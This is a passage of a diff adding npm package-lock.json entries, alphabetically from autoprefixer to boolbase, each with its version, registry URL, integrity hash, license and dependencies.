"https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.7.tgz", + "integrity": "sha512-ypHju4Y2Oav95SipEcCcI5J7CGPuvz8oat7sUtYj3ClK44bldfvtvcxK6IEK++7rqB7YchDGzweZIBG+SD0ZAA==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + } + ], + "license": "MIT", + "dependencies": { + "browserslist": "^4.20.3", + "caniuse-lite": "^1.0.30001335", + "fraction.js": "^4.2.0", + "normalize-range": "^0.1.2", + "picocolors": "^1.0.0", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "license": "MIT", + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/aws4": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz", + "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==", + "dev": true, + "license": "MIT" + }, + "node_modules/axe-core": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.4.2.tgz", + "integrity": "sha512-LVAaGp/wkkgYJcjmHsoKx4juT1aQvJyPcW09MLCjVTh3V2cc6PnyempiLMNH5iMdfIX/zdbjUx2KDjMLCTdPeA==", + "license": "MPL-2.0", + "engines": { + "node": ">=12" + } + }, + "node_modules/axios": { + "version": "0.21.4", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", + "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.14.0" + } + }, + "node_modules/axobject-query": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz", + "integrity": "sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA==", + "license": "Apache-2.0" + }, + "node_modules/babel-jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz", + "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==", + "license": "MIT", + "dependencies": { + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__core": "^7.1.14", + "babel-plugin-istanbul": "^6.1.1", + "babel-preset-jest": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.8.0" + } + }, + "node_modules/babel-jest/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/babel-jest/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/babel-jest/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/babel-jest/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/babel-jest/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-jest/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-loader": { + "version": "8.2.5", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.5.tgz", + "integrity": "sha512-OSiFfH89LrEMiWd4pLNqGz4CwJDtbs2ZVc+iGu2HrkRfPxId9F2anQj38IxWpmRfsUY0aBZYi1EFcd3mhtRMLQ==", + "license": "MIT", + "dependencies": { + "find-cache-dir": "^3.3.1", + "loader-utils": "^2.0.0", + "make-dir": "^3.1.0", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 8.9" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "webpack": ">=2" + } + }, + "node_modules/babel-loader/node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "license": "MIT", + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/babel-loader/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "license": "MIT", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-loader/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "license": "MIT", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-loader/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "license": "MIT", + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/babel-loader/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/babel-loader/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "license": "MIT", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-loader/node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "license": "MIT", + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-loader/node_modules/schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/babel-plugin-dynamic-import-node": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", + "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "license": "MIT", + "dependencies": { + "object.assign": "^4.1.0" + } + }, + "node_modules/babel-plugin-istanbul": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz", + "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-instrument": "^5.0.4", + "test-exclude": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/babel-plugin-jest-hoist": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz", + "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==", + "license": "MIT", + "dependencies": { + "@babel/template": "^7.3.3", + "@babel/types": "^7.3.3", + "@types/babel__core": "^7.0.0", + "@types/babel__traverse": "^7.0.6" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/babel-plugin-macros": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz", + "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5", + "cosmiconfig": "^7.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">=10", + "npm": ">=6" + } + }, + "node_modules/babel-plugin-named-asset-import": { + "version": "0.3.8", + "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz", + "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==", + "license": "MIT", + "peerDependencies": { + "@babel/core": "^7.1.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.1.tgz", + "integrity": "sha512-v7/T6EQcNfVLfcN2X8Lulb7DjprieyLWJK/zOWH5DUYcAgex9sP3h25Q+DLsX9TloXe3y1O8l2q2Jv9q8UVB9w==", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.3.1", + "semver": "^6.1.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.2.tgz", + "integrity": "sha512-G3uJih0XWiID451fpeFaYGVuxHEjzKTHtc9uGFEjR6hHrvNzeS/PX+LLLcetJcytsB5m4j+K3o/EpXJNb/5IEQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.1", + "core-js-compat": "^3.21.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.3.1.tgz", + "integrity": "sha512-Y2B06tvgHYt1x0yz17jGkGeeMr5FeKUu+ASJ+N6nB5lQ8Dapfg42i0OVrf8PNGJ3zKL4A23snMi1IRwrqqND7A==", + "license": "MIT", + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.3.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-styled-components": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/babel-plugin-styled-components/-/babel-plugin-styled-components-2.0.7.tgz", + "integrity": "sha512-i7YhvPgVqRKfoQ66toiZ06jPNA3p6ierpfUuEWxNF+fV27Uv5gxBkf8KZLHUCc1nFA9j6+80pYoIpqCeyW3/bA==", + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.0", + "@babel/helper-module-imports": "^7.16.0", + "babel-plugin-syntax-jsx": "^6.18.0", + "lodash": "^4.17.11", + "picomatch": "^2.3.0" + }, + "peerDependencies": { + "styled-components": ">= 2" + } + }, + "node_modules/babel-plugin-syntax-jsx": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", + "integrity": "sha512-qrPaCSo9c8RHNRHIotaufGbuOBN8rtdC4QrrFFc43vyWCCz7Kl7GL1PGaXtMGQZUXrkCjNEgxDfmAuAabr/rlw==", + "license": "MIT" + }, + "node_modules/babel-plugin-transform-react-remove-prop-types": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz", + "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==", + "license": "MIT" + }, + "node_modules/babel-preset-current-node-syntax": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.0.1.tgz", + "integrity": "sha512-M7LQ0bxarkxQoN+vz5aJPsLBn77n8QgTFmo8WK0/44auK2xlCXrYcUxHFxgU7qW5Yzw/CjmLRK2uJzaCd7LvqQ==", + "license": "MIT", + "dependencies": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.8.3", + "@babel/plugin-syntax-import-meta": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.8.3", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-jest": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz", + "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==", + "license": "MIT", + "dependencies": { + "babel-plugin-jest-hoist": "^27.5.1", + "babel-preset-current-node-syntax": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/babel-preset-react-app": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz", + "integrity": "sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==", + "license": "MIT", + "dependencies": { + "@babel/core": "^7.16.0", + "@babel/plugin-proposal-class-properties": "^7.16.0", + "@babel/plugin-proposal-decorators": "^7.16.4", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0", + "@babel/plugin-proposal-numeric-separator": "^7.16.0", + "@babel/plugin-proposal-optional-chaining": "^7.16.0", + "@babel/plugin-proposal-private-methods": "^7.16.0", + "@babel/plugin-transform-flow-strip-types": "^7.16.0", + "@babel/plugin-transform-react-display-name": "^7.16.0", + "@babel/plugin-transform-runtime": "^7.16.4", + "@babel/preset-env": "^7.16.4", + "@babel/preset-react": "^7.16.0", + "@babel/preset-typescript": "^7.16.0", + "@babel/runtime": "^7.16.3", + "babel-plugin-macros": "^3.1.0", + "babel-plugin-transform-react-remove-prop-types": "^0.4.24" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT" + }, + "node_modules/base": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", + "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/basic-auth": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-2.0.1.tgz", + "integrity": "sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "5.1.2" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz", + "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==", + "license": "MIT" + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/bfj": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/bfj/-/bfj-7.0.2.tgz", + "integrity": "sha512-+e/UqUzwmzJamNF50tBV6tZPTORow7gQ96iFow+8b562OdMpEK0BcJEq2OSPEDmAbSMBQ7PKZ87ubFkgxpYWgw==", + "license": "MIT", + "dependencies": { + "bluebird": "^3.5.5", + "check-types": "^11.1.1", + "hoopy": "^0.1.4", + "tryer": "^1.0.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/big-integer": { + "version": "1.6.51", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz", + "integrity": "sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==", + "license": "Unlicense", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/blob-util": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/blob-util/-/blob-util-2.0.2.tgz", + "integrity": "sha512-T7JQa+zsXXEa6/8ZhHcQEW1UFfVM49Ts65uBkFL6fz2QmrElqmbajIDJvuA0tEhRe5eIjpV9ZF+0RfZR9voJFQ==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "license": "MIT" + }, + "node_modules/body-parser": { + "version": "1.20.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz", + "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==", + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "on-finished": "2.4.1", + "qs": "6.10.3", + "raw-body": "2.5.1", + "type-is": "~1.6.18", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/body-parser/node_modules/qs": { + "version": "6.10.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", + "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/body-scroll-lock-upgrade": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/body-scroll-lock-upgrade/-/body-scroll-lock-upgrade-1.1.0.tgz", + "integrity": "sha512-nnfVAS+tB7CS9RaksuHVTpgHWHF7fE/ptIBJnwZrMqImIvWJF1OGcLnMpBhC6qhkx9oelvyxmWXwmIJXCV98Sw==", + "license": "MIT" + }, + "node_modules/bonjour-service": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.0.13.tgz", + "integrity": "sha512-LWKRU/7EqDUC9CTAQtuZl5HzBALoCYwtLhffW3et7vZMwv3bWLpJf8bRYlMD5OCcDpTfnPgNCV4yo9ZIaJGMiA==", + "license": "MIT", + "dependencies": { + "array-flatten": "^2.1.2", + "dns-equal": "^1.0.0", + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "license": "ISC" + }, + 